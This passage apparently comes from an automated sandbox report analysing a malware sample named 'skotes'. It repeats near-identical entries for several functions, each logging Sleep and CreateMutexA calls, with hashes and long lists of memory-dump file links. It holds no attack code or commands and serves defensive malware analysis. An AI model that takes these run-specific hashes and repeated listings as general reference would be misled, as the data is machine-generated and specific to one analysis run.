CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 756fe190217617686bb03321b741239a98b5d344b84298d34bce1ae3d5f3c897
Instruction ID: a85dc55d13b1b59da8e0e08839ed38126630cd6e58228455a5984aa3d3e42dc6
Opcode Fuzzy Hash: 756fe190217617686bb03321b741239a98b5d344b84298d34bce1ae3d5f3c897
Instruction Fuzzy Hash: DF313971B052048BEF08EB7CDDC97ADB766EBD6310F24821CE058973D6D779898087A2

Function 00999F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: eb427e44ce6a5ba76c3044794057e1dbfb0ca113cc3f9c73b7b42f088f329c2a
Instruction ID: 13c92c6a4212f5249f051be10964e414d74bcdf5007c93694fe0b0e6d26c9c1a
Opcode Fuzzy Hash: eb427e44ce6a5ba76c3044794057e1dbfb0ca113cc3f9c73b7b42f088f329c2a
Instruction Fuzzy Hash: 613146317042048BEF189B7CDC8C7ADB766EBCA310F208618E419EB6D1C73A89808792

Function 0099A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 68547a95d0854d6b2976aba54a67fd592f6290a4a5bed0c5d72ca1b512d481e1
Instruction ID: 3603f5eaf83a6581cfa9fd0182d2b135816f6d3e32743ed0c5b8272fecd9e4e6
Opcode Fuzzy Hash: 68547a95d0854d6b2976aba54a67fd592f6290a4a5bed0c5d72ca1b512d481e1
Instruction Fuzzy Hash: 57316B31B151409BEF18DB7CCD89BADB776EBC6310F248218E024977D1C77A998087A2

Function 0099A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a629dee92e536b083e089b6baa8e0021bac84fa133806079ecebef4b9fdb20e5
Instruction ID: fff294a037d8a8ab540a401a177816265bba1d698484bd1c7cdf0a5ef93d25da
Opcode Fuzzy Hash: a629dee92e536b083e089b6baa8e0021bac84fa133806079ecebef4b9fdb20e5
Instruction Fuzzy Hash: E2315931B051419BEF18DB7CDCCDB6DB776EBCA310F208218E0249B2D1C77A998087A2

Function 0099A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 32a11df063a1178b89ba3917ad6ef9b9b67ea78be8b3ef4e1800d97a360abdee
Instruction ID: c9d57656d6595cd9dabbee148ebd79ba9a5029113c67c03bcd36bd18e0b99db4
Opcode Fuzzy Hash: 32a11df063a1178b89ba3917ad6ef9b9b67ea78be8b3ef4e1800d97a360abdee
Instruction Fuzzy Hash: F3314A31B401009BEF089B7CDD8DB6DB766EFC6310F248218E4549B2D5DB75898087E3

Function 0099A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
